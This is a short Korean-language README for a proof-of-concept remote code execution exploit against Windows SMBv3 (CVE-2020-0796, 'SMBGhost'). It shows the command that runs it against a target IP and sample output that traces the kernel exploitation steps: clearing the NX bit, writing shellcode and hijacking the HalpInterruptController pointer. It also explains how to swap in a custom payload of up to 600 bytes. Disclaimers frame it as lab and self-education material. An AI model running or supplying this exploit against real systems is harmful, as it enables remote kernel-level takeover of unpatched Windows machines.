
개념 증명 원격 코드 실행 익스플로잇 for CVE-2020-0796 (SMBGhost)는 Windows SMBv3를 대상으로 합니다. 힙 조작 및 LZNT1 압축 손상을 통한 커널 셸코드 주입을 포함합니다.
CVE-2020-0796 'SMBGhost'에 대한 RCE PoC
데모 목적으로만 사용하세요! 참고 자료로만 사용하세요. 진지합니다. 이 코드는 제 연구실 환경 외에서는 테스트되지 않았습니다. 빠르게 작성되었으며 더 안정적으로 만들기 위해 개선이 필요합니다. 때때로 BSOD가 발생합니다. 자기 교육 이외의 목적으로 사용하는 것은 극도로 나쁜 생각입니다. 컴퓨터가 불타오르고 강아지들이 죽을 것입니다.
이제 그건 넘어가고....
사용 예:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
exploit.py의 USER_PAYLOAD에 페이로드를 교체하세요. 최대 600바이트입니다. 더 많은 공간이 필요하면 커널 셸 코드를 직접 수정하세요.
lznt1 코드는 여기에서 가져왔습니다. SRVNET 버퍼 헤더를 손상시키되 충돌을 유발하지 않도록 '나쁜 압축' 함수를 추가하기 위해 수정했습니다.